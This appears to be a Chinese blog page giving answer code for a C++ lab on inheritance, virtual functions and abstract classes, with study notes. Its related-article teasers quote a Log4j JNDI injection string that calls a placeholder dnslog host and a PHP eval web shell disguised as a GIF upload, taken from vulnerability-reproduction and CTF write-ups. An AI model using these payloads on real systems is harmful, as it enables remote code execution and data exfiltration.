BJFUOJ-C++程序设计-实验3-继承和虚函数

news2024/11/26 12:47:52

A TableTennisPlayer

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

答案:

#include<iostream>
#include<cstring>
using namespace std;

class TableTennisPlayer{
private:
	string firstname;
	string lastname;
	bool hasTable;

public:
	TableTennisPlayer(const string &, const string &, bool);
	string FirstName() const;
	string LastName() const;
	bool HasTable() const;
};

TableTennisPlayer::TableTennisPlayer(const string & fn, const string & ln, bool h)
{
	firstname=fn;
	lastname=ln;
	hasTable=h;
}

string TableTennisPlayer::FirstName()const{ 
	return firstname;
}

string TableTennisPlayer::LastName()const{ 
	return lastname;
}

bool TableTennisPlayer::HasTable()const{
	return hasTable;
}


class RatedPlayer :public TableTennisPlayer{
private:
	int rating;
public:
	RatedPlayer(int,const string &, const string &, bool);
	int Rating() const;
};

RatedPlayer::RatedPlayer(int r,const string & fn, const string & ln, bool h):TableTennisPlayer(fn,ln,h)
{
	rating=r;
}

int RatedPlayer::Rating() const
{
	return rating;
}

int main(){

	string firstname, lastname;
	bool hasTable;
	int rating;
	char flag;

	while(cin>>flag){
		if(flag=='T'){
			cin>>firstname>>lastname>>hasTable;
			TableTennisPlayer tp(firstname,lastname,hasTable);
			if(tp.HasTable())
				cout<<tp.FirstName()<<" "<<tp.LastName()<<" has a table.\n";
			else
				cout<<tp.FirstName()<<" "<<tp.LastName()<<" hasn't a table.\n";
		} else if(flag=='R'){		
			cin>>firstname>>lastname>>hasTable>>rating;
			RatedPlayer rp(rating,firstname,lastname,hasTable);
			if(rp.HasTable())
				cout<<rp.FirstName()<<" "<<rp.LastName()<<" has a table. The rating is "<<rp.Rating()<<".\n";
			else
			cout<<rp.FirstName()<<" "<<rp.LastName()<<" hasn't a table. The rating is "<<rp.Rating()<<".\n";
		}
	}

return 0;

}

重要知识点:

·继承相关知识;
·派生类对象构造函数先调用父类构造函数,以及如何实现。

B Person和Student

在这里插入图片描述
在这里插入图片描述

答案:

#include<iostream>
#include<cstring>

using namespace std;

class Person{
private:
    string name;
public:
    virtual void input();
    virtual void display();
};

void Person::input()
{
    cin>>name;
}

void Person::display()
{
    cout<<name<<endl;
}

class Student:public Person{
private:
    string id;
public:
    void input();
    void display();
};

void Student::input()
{
    cin>>id;
    Person::input();
}

void Student::display()
{
    cout<<id<<" ";
    Person::display();
}

int main(){
    Person * p;

    p = new Person;

    p->input();

    p->display();

    delete p;

    p = new Student;

    p->input();

    p->display();

    delete p;

    return 0;
}

重要知识点:

·多态(主函数中体现)
·虚函数的定义与在子类中的实现(virtual关键字)
·赋值兼容规则是指在公有继承情况下,对于某些场合,一个派生类的对象可以
作为基类对象来使用。即:公有派生类的对象可以赋值给一个基类对象,并自
动转换为基类类型。 但基类对象只能“看到”其所替代的派生类对象中的基类部分。

C 图书商品

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

答案:

#include<iostream>

using namespace std;

class Item_base //未打折的图书商品
{
protected:
	string ISBN; //图书序列号
	double price; //单价

public:
	Item_base(const string & book_ISBN = "", double sales_price = 0.0);
	string get_ISBN() const;
	virtual double net_price(int) const; //返回购买指定数量的图书的总价
	virtual ~Item_base();
};

Item_base::Item_base(const string & book_ISBN, double sales_price)
{
	ISBN=book_ISBN;
	price=sales_price;
}

string Item_base::get_ISBN()const
{
	return ISBN;
}

double Item_base::net_price(int n) const
{
	return price*n;
}

Item_base::~Item_base(){
}

class Bulk_Item : public Item_base //根据购买数量打折
{
public:
	Bulk_Item(const string & book_ISBN = "", double sales_price = 0.0, int min_qty = 0, double discount = 0.0);
	double net_price(int) const; //返回根据购买数量打折后的总价
private:
	int min_qty; // 买够这个数量可以打相应的折扣
	double discount; //折扣
};

Bulk_Item::Bulk_Item(const string & book_ISBN, double sales_price, int min_qty, double discount):Item_base(book_ISBN,sales_price)
{
	this->min_qty=min_qty;
	this->discount=discount;
}

double Bulk_Item::net_price(int n)const
{
	return price*n*(1.0-discount);
}


int main()
{
	Item_base book("0-001-0001-1", 10.0);
	Bulk_Item bulk1("0-001-0001-1",10.0, 5, 0.1);
	Bulk_Item bulk2("0-001-0001-1", 10.0, 10, 0.2);
	int num;
	while (cin >> num)
	{
	cout << bulk1.get_ISBN() << "\t" << num << "\t";
	Item_base * p;
	if (num >= 10) p = &bulk2;
	else if (num >= 5) p = &bulk1;
	else p = &book;
	cout << p->net_price(num) << "\n";
	}
	return 0;
}

重要知识点

·虚函数:
(1)只有类的普通成员函数或析构函数才能声明为虚函数。
(2)基类中的虚函数可以在派生类中被重新定义,但重新定义时必须与基类中的函数原型完全相同(同名覆盖),且无论是否用virtual修饰,系统都将其视为虚函数(建议加上virtual)。
(3)当一个类的公有成员函数声明为虚函数,且在其公有派生类中被同名覆盖时:

 当用基类指针(或引用)指向这个派生类对象,并用该指针调用该函数时,系统自动用派生类中
的同名函数。

 即:当用基类指针(或引用)指向派生类对象,并用该指针调用该函数时,系统会在程序运行中根据所指向对象的不同,自动选择执行当前指向对象所属类的成员函数,从而实现了运行时的多
态性。
(5)静态成员函数不能声明为虚函数。因为静态成员函数不属于某一个对象,没
有多态性的特征。
(6)构造函数不能是虚函数。
(7)析构函数可以是虚函数,且往往被声明为虚函数。

D Vehicle类

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

答案:

#include<iostream>

using namespace std;

class Vehicle{
protected:
	string name;
	string color;
public:
	Vehicle(string ,string);
	virtual void display()=0;
};

Vehicle::Vehicle(string n,string c)
{
	name=n;
	color=c;
}

class Car:public Vehicle{
private: 
	int passenger;
public:
	Car(string,string,int);
	void display();
};

Car::Car(string n,string c,int num):Vehicle(n,c)
{
	passenger=num;
}

void Car::display()
{
	cout<<"Car name:"<<name<<" Car color:"<<color<<" Car passenger:"<<passenger<<endl;
}

class Truck:public Vehicle{
private: 
	double capacity;
public:
	Truck(string,string,double);
	void display();
};

Truck::Truck(string n,string c,double m):Vehicle(n,c)
{
	capacity=m;
}

void Truck::display()
{
	cout<<"Truck name:"<<name<<" Truck color:"<<color<<" Truck capacity:"<<capacity<<endl;
}

int main()
{
	Vehicle *p;
	char type;
	char name[110],color[110];
	int pas;
	double cap;
	while(cin>>type)
	{
		cin>>name>>color;
		if(type == 'C')
		{
			cin>>pas;
			Car car(name,color,pas);
			p = &car;
			p->display();
		}
		else if(type == 'T')
		{
		cin>>cap;
		Truck truck(name,color,cap);
		p = &truck;
		p->display();
		}
	}
return 0;
}

重要知识点:

·纯虚函数:
在定义一个表达抽象概念的基类时,有时可能会无法给出某些成员
函数的具体实现。这时,就可以将这些函数声明为纯虚函数。

virtual 类型 函数名(参数表)=0 ;

 即纯虚函数就是在基类中声明为虚函数,但未给出具体函数定义体的函数

 在各派生类中对该虚函数进行同名覆盖(即重写)。

·抽象类:
类体内声明了纯虚函数的类,称为抽象类。

 抽象类的主要作用:以此类为基类建立的一个类族具有一组公共的接口(即公
有成员函数),将它们定义为纯虚函数,使它们能够更有效地发挥多态特性。

 抽象类声明了一族派生类的共同接口,而接口的完整实现,即纯虚函数的函数

体,要由派生类自己定义。

·使用纯虚函数与抽象类的注意事项:
(1)抽象类只能用作基类来派生出新类,不能声明抽象类的对象,但可以声明指向抽象类的指针
变量或引用变量。

(2)抽象类中可以有多个纯虚函数。

(3)抽象类中也可以定义其他非纯虚函数。

(4)抽象类派生出新类之后,如果在派生类中没有重新定义基类中的纯虚函数,则必须再将该虚
函数继续声明为纯虚函数,此时,这个派生类仍然是一个抽象类;

(5)在一个复杂的类继承结构中,越上层的类抽象程度就越高,有时甚至无法给出某些成员函数
的具体实现。
(6)引入抽象类的目的主要是为了能将相关类组织在一个类继承结构中,并通过抽象类来为这些
相关类提供统一的操作接口。

E 表面积和体积

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

答案:

#include<iostream>
#include<iomanip>
#include<cmath>
using namespace std;
 
const double pi = acos(-1);
 
class Shape {
public:
Shape() {}
virtual double area() = 0;
virtual void input() = 0;
virtual double volume() = 0;
virtual ~Shape() {}
};
 
class Cylinder:public Shape
{
private:
	int r;
	int h;
public:
	double area();
	void input();
	double volume();
};
 
double Cylinder::area()
{
	return pi*r*r*2+2*pi*r*h;
}
 
void Cylinder::input()
{
	cin>>r>>h;
}
 
double Cylinder::volume()
{
	return pi*r*r*h;
}
 
class Cuboid:public Shape
{
private:
	int a;
	int b;
	int c;
public:
	double area();
	void input();
	double volume();
};
 
double Cuboid::area()
{
	return 2*a*b+2*a*c+2*b*c;
}
 
void Cuboid::input()
{
	cin>>a>>b>>c;
}
 
double Cuboid::volume()
{
	return a*b*c;
}
 
class Ball:public Shape
{
private:
	int r;
public:
	double area();
	void input();
	double volume();
};
 
double Ball::area()
{
	return 4.0*pi*r*r;
}
 
void Ball::input()
{
	cin>>r;
}
 
double Ball::volume()
{
	return (4.0/3.0)*pi*r*r*r;
}
 
void work(Shape *s) {
	s->input();
	cout << s->area() << " " << s->volume() << endl;
	delete s;
}
 
int main() {
	char c;
	while (cin >> c) {
		switch (c) {
			case 'y':
				work(new Cylinder());
				break;
			case 'c':
				work(new Cuboid());
				break;
			case 'q':
				work(new Ball());
				break;
			default:
				break;
		}
	}
	return 0;
}

重要知识点:

同上

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1639436.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

docker 指定根目录 迁移根目录

docker 指定根目录 1、问题描述2、问题分析3、解决方法3.1、启动docker程序前就手动指定docker根目录为一个大的分区(支持动态扩容)&#xff0c;事前就根本上解决根目录空间不够问题3.1.0、方法思路3.1.1、docker官网安装文档3.1.2、下载docker安装包3.1.3、安装docker 26.1.03…

JavaEE >> Spring MVC(2)

接上文 本文介绍如何使用 Spring Boot/MVC 项目将程序执行业务逻辑之后的结果返回给用户&#xff0c;以及一些相关内容进行分析解释。 返回静态页面 要返回一个静态页面&#xff0c;首先需要在 resource 中的 static 目录下面创建一个静态页面&#xff0c;下面将创建一个静态…

[1673]jsp在线考试管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目

一、源码特点 JSP 在线考试管理系统是一套完善的java web信息管理系统&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发&#xff0c;数据库为Mysql5.0&…

[MRCTF2020]你传你呢 1

上传一个文件 图片木马 新建一个图片木马&#xff0c;这里我命名为a.php&#xff0c;名字需和待会上传的.htaccess一致 GIF89a <script languagephp>eval($_REQUEST["cmd"])</script>抓包上传的a.php文件&#xff0c;修改两个地方 新建一个.htacces…

Neo4j v5 中 Cypher 的变化

How Cypher changed in Neo4j v5 Neo4j v5 中 Cypher 的变化 几周前&#xff0c;Neo4j 5 发布了。如果你像我一样&#xff0c;在 Neo4j 4 的后期版本中忽略了所有的弃用警告&#xff0c;你可能需要更新你的 Cypher 查询以适应最新版本的 Neo4j。幸运的是&#xff0c;新的 Cyp…

confluence 设置https代理

使用nginx反待confluence并开启https后&#xff0c;登录confluence会一直提示&#xff1a;scheme、proxyName、proxyPort设置错误。 解决办法&#xff1a; find / -name server.xmlvi /opt/atlassian/confluence/conf/server.xml HTTP反代配置 HTTPS反代配置

小程序地理位置接口权限直接抄作业

小程序地理位置接口有什么功能&#xff1f; 随着小程序生态的发展&#xff0c;越来越多的小程序开发者会通过官方提供的自带接口来给用户提供便捷的服务。但是当涉及到地理位置接口时&#xff0c;却经常遇到申请驳回的问题&#xff0c;反复修改也无法通过&#xff0c;给的理由也…

【大模型应用】使用 Windows 窗体作为 Copilot 应用程序的 Ollama AI 前端(测试llava视觉问答)...

项目 “WinForm_Ollama_Copilot” 是一个使用Windows Forms作为前端的Ollama AI Copilot应用程序。这个项目的目的是提供一个用户界面(UI)&#xff0c;通过它&#xff0c;用户可以与Ollama AI进行交互。以下是该项目的一些关键特点和功能&#xff1a; Ollama Copilot: 这是一个…

[方法] Unity 实现仿《原神》第三人称跟随相机 v1.0

参考网址&#xff1a;【Unity中文课堂】RPG战斗系统Plus 在Unity游戏引擎中&#xff0c;实现类似《原神》的第三人称跟随相机并非易事&#xff0c;但幸运的是&#xff0c;Unity为我们提供了强大的工具集&#xff0c;其中Cinemachine插件便是实现这一目标的重要工具。Cinemachi…

Rust Turbofish 的由来

0x01 什么是 Turbofish 我们运行如下 Rust Snippet&#xff1a; fn main() {let numbers: Vec<i32> vec![1, 2, 3, 4, 5, 6, 7, 8, 9, 10];let even_numbers numbers.into_iter().filter(|n| n % 2 0).collect();println!("{:?}", even_numbers); }不出意…

什么是UDP反射放大攻击,有什么安全措施可以防护UDP攻击

随着互联网的飞速发展和业务复杂性的提升&#xff0c;网络安全问题日益凸显&#xff0c;其中分布式拒绝服务&#xff08;DDoS&#xff09;攻击成为危害最为严重的一类网络威胁之一。 近些年&#xff0c;网络攻击越来越频繁&#xff0c;常见的网络攻击类型包括&#xff1a;蠕虫…

TS学习-泛型基础

目录 1&#xff0c;介绍1&#xff0c;在函数中使用2&#xff0c;在类型别名&#xff0c;接口中使用3&#xff0c;在类中使用 2&#xff0c;泛型约束3&#xff0c;多泛型4&#xff0c;举例实现 Map 1&#xff0c;介绍 泛型相当于是一个类型变量&#xff0c;有时无法预先知道具体…

【每日刷题】Day30

【每日刷题】Day30 &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;每日刷题&#x1f34d; &#x1f33c;文章目录&#x1f33c; 1. 牛牛的链表添加节点_牛客题霸_牛客网 (nowcoder.com) 2. 牛牛的链表删除_牛客题霸_牛客网 (nowcoder…

Django整合多种认证方式

承接上一篇&#xff1a;Django知识点总结-CSDN博客 目录 25.使用 Django REST framework实现用户认证和授权 26.通过djangorestframework-simplejwt使用JWT(JSON Web Token) 27.使用django-auth-ldap进行用户认证 28. 使用django-cas-ng实现集中认证及实现单点登录 29. …

c# winform快速建websocket服务器源码 wpf快速搭建websocket服务 c#简单建立websocket服务 websocket快速搭建

完整源码下载----->点击 随着互联网技术的飞速发展&#xff0c;实时交互和数据推送已成为众多应用的核心需求。传统的HTTP协议&#xff0c;基于请求-响应模型&#xff0c;无法满足现代Web应用对低延迟、双向通信的高标准要求。在此背景下&#xff0c;WebSocket协议应运而生…

C++函数重载之类型引用和类型本身

在C中&#xff0c;当我们讨论类型引用&#xff08;也称为引用类型&#xff09;与类型本身被视为“同一个特征标”&#xff08;signature&#xff09;时&#xff0c;我们实际上是在讨论引用类型在函数重载解析&#xff08;function overload resolution&#xff09;和模板参数推…

Github 2024-05-02 Go开源项目日报 Top10

根据Github Trendings的统计,今日(2024-05-02统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Go项目10PureBasic项目1Kubernetes: 容器化应用程序管理系统 创建周期:3618 天开发语言:Go协议类型:Apache License 2.0Star数量:106913 个…

C#知识|Dictionary泛型集合的使用总结

哈喽,你好,我是雷工! 以下是C#Dictionary泛型集合的学习笔记。 01 Dictionary泛型集合 1.1、Dictionary<K,V>通常称为字典, 1.2、其中<K,V>是自定义的,用来约束集合中元素类型。 1.3、在编译时检查类型约束, 1.4、无需装箱拆箱操作, 1.5、操作与哈希表(Ha…

美国零售媒体(广告业)指南:快速增长、不断扩展的业态和新兴机遇

Guide to retail media: Rapid growth, expanding formats, and emerging opportunities --- 零售媒体如何通过CTV和其他合作伙伴关系向上发展 原文作者&#xff1a;Sara Lebow | 2024年2月16日 整理编辑&#xff1a;数字化营销工兵 I 2024年5月2日 ​​​​​​​ &#…